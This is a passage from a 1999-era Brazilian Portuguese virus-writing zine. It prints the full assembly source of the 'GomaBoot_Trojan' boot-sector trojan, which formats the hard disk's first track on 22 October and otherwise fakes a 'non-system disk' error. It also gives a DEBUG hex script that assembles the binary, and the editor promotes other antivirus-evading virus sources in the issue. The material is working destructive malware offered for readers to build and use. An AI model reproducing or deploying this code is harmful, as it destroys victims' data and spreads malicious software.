        dw      9h                  ; 16h-17h sectores po fat
        dw      12h                 ; 18h-19h  sectores por trilha
        dw      2h                  ; 1Ah-1Bh lados (cabecas)
        dw      0h                  ; 1Ch-1Dh setores escondidos
        db      9 DUP(0)            ; Pule 9 bytes e
        dw      1997h               ; Numero de serie do disco \ 2210-1997
        dw      2210h               ; Numero de serie do disco /
        db      "Goma Trojan"       ; Nome do Volume
        db      "FAT12   "          ; Tipo de Sistema de arquivos (Floppy)
                                    ;
;;;;;;;; Inicio do Trojan ;;;;;;;;;;;
Trojan:                             ;
        mov    ax,07C0h             ; Localizacao do boot record 
        push   ax                   ;    
        pop    ds                   ;
                                    ;
        mov     ah,data_sistema     ; Ver data do sistema (BIOS)
        int     1Ah                 ;    
                                    ;
        cmp     dx,data_ativacao    ; E' dia 22 de outubro
        jne     Continue            ; ** Valeu Regis . Valeu Guino **
                                    ;
        call    format              ; Vamos a gandaia ...
                                    ;
        mov    bx,mensagem_fodeu    ; Colocar o offset para a msg de fodeu em si
        mov    cx,tamanho_msg_fodeu ; Tamanho da msg de fodeu de cx
                                    ;
        call   Mensagem_Reboot      ; Vamos escrever a mensagem e dar um boot
                                    ;
;;;;;;;; Rotina de Format ;;;;;;;;;;;
Format  proc    near                ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                    ; Procedure de GOMA_COM virus 
                                    ; (Vide Virus Brasil n1)
        mov     ch,0                ; Track zero
        mov     dx,80h              ; Cabeca zero, 1 HD
                                    ;
Fodendo:                            ;
        mov     ch,0                ; Track zero
        mov     al,0                ; Carregue zero
        mov     cl,6                ; Vezes (vai dar zero)
        shl     al,cl               ; 
        mov     cl,al               ; Mover resultado (zero)
        or      cl,1                ; Um agora (proxima linha zero)
        mov     ax,500h             ; Formata track
        call    zuei                ; 
        jb      Bip                 ; Ja deu vamos bipar
        inc     dh                  ; Proxima cabeca
        cmp     dh,9                ; Ja estamos na nona cabeca ?
        jne     Fodendo             ; Formata se nao
                                    ;
Format  endp                        ;
                                    ;
Bip:                                ; Rotina de "emissao de aviso sonoro"
        mov     cx,35               ; cx = numero de bips
beep:                               ;
        mov     ax,Bips             ; chr do bip
        int     10h                 ; Bip
loop    beep                        ; Ate 35 , por favor !!
        ret                         ; Retorne
                                    ;
Zuei:                               ;
        int     13H                 ; Despistador de Flags
        ret                         ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                    ;
;;;;;;;; Se nao for o dia ;;;;;;;;;;;
Continue:                           ;
        mov    bx,mensagem          ; Colocar o offset para a msg em si
        mov    cx,tamanho_msg       ; Tamanho da msg de cx
                                    ;
;;;;; Rotina de msg e de reboot ;;;;;                                    
Mensagem_Reboot:                    ;
        mov    ah,14                ; Escrever teletype
        mov    al,[bx]              ;    
        push   ds                   ;
        push   cx                   ;
        push   bx                   ;
        int    10h                  ;
                                    ;
        pop    bx                   ;
        pop    cx                   ;
        pop    ds                   ;
        inc    bx                   ;
        loop   Mensagem_Reboot      ;
                                    ;
; ****** Liga Caps Lock *************
        push   ds                   ;
        mov    ax,40h               ;
        mov    ds,ax                ;
        mov    al,byte ptr DS:[0017h]
        or     al,40h               ;
        mov    byte ptr ds:[0017h],al
        pop    ds                   ;
; ****** Liga Caps Lock *************
                                    ;
        mov    ah,0                 ; Espera por uma tecla 
        int    16h                  ;   
                                    ;
        mov    ah,15                ; Captura o video (modo)
        int    10h                  ;
                                    ;
        mov    ah,0                 ; Muda o video (Limpa a Tela)
        int    10h                  ;
                                    ;
        int    19h                  ; Boot Novamente ...
;;;;;;; MSG de formatacao ;;;;;;;;;;;
inicio_msg_fodeu:                   ;
        db     0Dh,0Ah              ; 
        db     "[TDG'99]",0dh,0ah   ;
        db     "Goma_Boot_Trojan por nim_bus@hotmail.com",0dh,0ah
        db     "Que seu HD descanse em paz como meus amigos ...",0dh,0ah
fim_msg_fodeu:                      ;    
;;;;;;; MSG dico sem sistema ;;;;;;;;
inicio_msg:                         ;
        db     0Dh,0Ah              ;
        db     "Erro: Disco sem sistema",0dh,0ah
        db     "Solucao: Insira um disco com Sistema",0dh,0ah 
        db     "Operacional e aperte alguma tecla",0Dh,0Ah              
fim_msg:                            ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Fim:                                ;
        db     Completa_512 dup (0) ; completa ai os 512 bytes truta !!!
        db     055h,0AAh            ; para falar que  boot  (lembra?)
Inicio  endp                        ;
BOOT    ends                        ;
        end                         ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;  GomaBoot_Trojan   ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                             
        Bom, os fontes estao ai, divirta-se, segue ainda nessa edicao o 
   script para o trojan .
                                                                             

                      ___   ___   __   .   __   ___
                     (__   |     |__)  |  |__)   |
                     ___)  |___  |  \  |  |      |
                                                                             

                                                                             
                                                                             
  
   9 - GomaBoot_Trojan (Script File)
  
                                                                             
        Essa parte do zine contem um script para ser utilizado no debug do 
   dos, esse script cria o trojan GomaBoot_Trojan a partir do debug pelo 
   simples comando:                                                                
                                                                             
                        DEBUG < (arquivo.scr)
                                                                             
;;;;;;;;;;;;;;;;;;;; BOOT.SCR ;;;;;;;;;;;;;;;;;;;;;;;;
N BOOT.COM
E 0100 E9 3B 00 5B 54 44 47 27 39 39 5D 00 02 01 01 00 
E 0110 02 E0 00 40 0B FE 09 00 12 00 02 00 00 00 00 00 
E 0120 00 00 00 00 00 00 00 97 19 10 22 47 6F 6D 61 20 
E 0130 54 72 6F 6A 61 6E 46 41 54 31 32 20 20 20 B8 C0 
E 0140 07 50 1F B4 04 CD 1A 81 FA 22 10 75 3B E8 09 00 
E 0150 BB BA 00 B9 67 00 E8 35 00 B5 00 BA 80 00 B5 00 
E 0160 B0 00 B1 06 D2 E0 88 C1 80 C9 01 B8 00 05 E8 14 
E 0170 00 72 07 FE C6 80 FE 09 75 E4 B9 23 00 B8 07 0E 
E 0180 CD 10 E2 F9 C3 CD 13 C3 BB 21 01 B9 64 00 B4 0E 
E 0190 8A 07 1E 51 53 CD 10 5B 59 1F 43 E2 F1 1E B8 40 
E 01A0 00 8E D8 A0 17 00 0C 40 A2 17 00 1F B4 00 CD 16 
E 01B0 B4 0F CD 10 B4 00 CD 10 CD 19 0D 0A 5B 54 44 47 
E 01C0 27 39 39 5D 0D 0A 47 6F 6D 61 5F 42 6F 6F 74 5F 
E 01D0 54 72 6F 6A 61 6E 20 70 6F 72 20 6E 69 6D 5F 62 
E 01E0 75 73 40 68 6F 74 6D 61 69 6C 2E 63 6F 6D 0D 0A 
E 01F0 51 75 65 20 73 65 75 20 48 44 20 64 65 73 63 61 
E 0200 6E 73 65 20 65 6D 20 70 61 7A 20 63 6F 6D 6F 20 
E 0210 6D 65 75 73 20 61 6D 69 67 6F 73 20 2E 2E 2E 0D 
E 0220 0A 0D 0A 45 72 72 6F 3A 20 44 69 73 63 6F 20 73 
E 0230 65 6D 20 73 69 73 74 65 6D 61 0D 0A 53 6F 6C 75 
E 0240 63 61 6F 3A 20 49 6E 73 69 72 61 20 75 6D 20 64 
E 0250 69 73 63 6F 20 63 6F 6D 20 53 69 73 74 65 6D 61 
E 0260 0D 0A 4F 70 65 72 61 63 69 6F 6E 61 6C 20 65 20 
E 0270 61 70 65 72 74 65 20 61 6C 67 75 6D 61 20 74 65 
E 0280 63 6C 61 0D 0A 00 00 00 00 00 00 00 00 00 00 00 
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA 
RCX
0200
W
Q
;;;;;;;;;;;;;;;;;;;; BOOT.SCR ;;;;;;;;;;;;;;;;;;;;;;;;
                                                                            
        Seguiu acima o script do trojan, as explicacoes e comentarios do
   trojan se encontram na materia sobre virus de boot e na propria fonte do 
   trojan.
                                                                            

                            __          ___   
                     |  /  |__|  |     |__   |   |
                     |/    |  |  |___  |___  |___|   
                                                                            

                                                                            
                                                                            
   
   10 - Valeu ...
   
                                                                            
        Ae galera, espero que tenham gostado da segunda edicao do zine VIRUS 
   BRASIL .
        Como de costume, para seguirmos um padrao aqui faremos uma retros-
   pectiva dos assuntos tratados nesse numero do zine .
                                                                            
        Assuntos abordados nessa edicao :
                                                                            
        - Como criar novos virus (indetectaveis) aos anti-virus .
            Temos ai os fontes de um "novo" virus o goma_G2
                                                                            
        - Uma materia sobre Virus de Boot 
            E um exemplo para ilustrar a materia melhor o 
            Trojan BootGoma_Trojan
                                                                            
        - Um utilitario o EXE2COM que converte arquivos .EXE
            para arquivos .COM (Binarios) com fontes em C   
            e UUencodado
                                                                            
        - Nessa edicao temos apenas 2 virus (ambos de minha   
            autoria) e um trojan , tambem de minha autoria.    
            Em edicoes futuras ,  colocarei mais virus e de 
            colegas brasileiros (e' claro) ...
                                                                            
        Temos entao:
            2 fontes de virus (Goma_G2 e GOMA_EXE) com seus
            respectivos scripts para debugger.
            1 fonte de trojan de boot (GomaBoot_Trojan) com
            o respectivo script.
                                                                            
                                                                            
        Consegui fazer uma homepage na fortunecity e se quizer dar uma pas-
   sada por la de vez em quando para ver se rola alguma coisa nova por la o 
   endereco segue: w3.to/virusbrasil .
                                                                            
        Nao prometo que a pagina sera atualizada diariamente, semanalmente, 
   posso ate dizer que mensalmente, creio que alteracoes ocorreram em virtu-
   de de novos numeros do zine e de links para outras paginas ou algum down-
   load interessante. Nesses casos, ja' que terei de mexer na pagina, vou 
   dar uma modificada nela.
                                                                            
        Em relacao `a erros de portugues devo relembrar o que disse no pri-
   meiro numero do zine, se voce encontrar erros de grafia, acentuacao, hi-
   fem, e o caraio a 4, me desculpe, mas o zine inteiro foi sem acentuacao 
   grafica, com um so' corretor (que sou eu, que alias tambem escrevi o zine
   e corrigir algo que voce mesmo escreve e' muito foda),portanto, e' obvio 
   que erros ocorreram e passaram batido, sempre que possivel durante sua 
   leitura, os corrija, para que futuros leitores, nao sofram tanto para 
   "traduzir" o zine.
                                                                            
        Espero realmente que tenham gostado desse numero do zine, peco a 
   voce leitor que de a sua opiniao sobre o zine, o que ta uma bosta, o que 
   ta ruim pa caraio (falar do portugues, dos acentos e da grafia errada das 
   palavras ate' vale ), o que ficou mais ou menos e ate' sobre o que ficou 
   legal ou quase bom, sua critica e' muito importante para melhorarmos o do 
   zine como um todo, seja no visual ou no conteudo, muitos valeus ...
                                                                            
        Nim Bus
                                                                            
******************************************************************************
          Use sempre camisinha, o  HIV e' um virus que nao sabe brincar 
******************************************************************************
                                                                            
         Ficamos por aqui 
                                                                            
                           nim_bus@hotmail.com                     
                                                                           

   
   11 - Thanks ...
   

        Nim Bus Thanks :

   MARCO pelas BUZINAS MARCO (agora chap / olha minha voz / tuim)
   PHILIPS MORRIS pelo MARLBORO (sem filtro  muito melhor)      
   FAMILIA WALKER pelos SEUS INIGUALAVEIS WISKIES
                                                                           EOZ
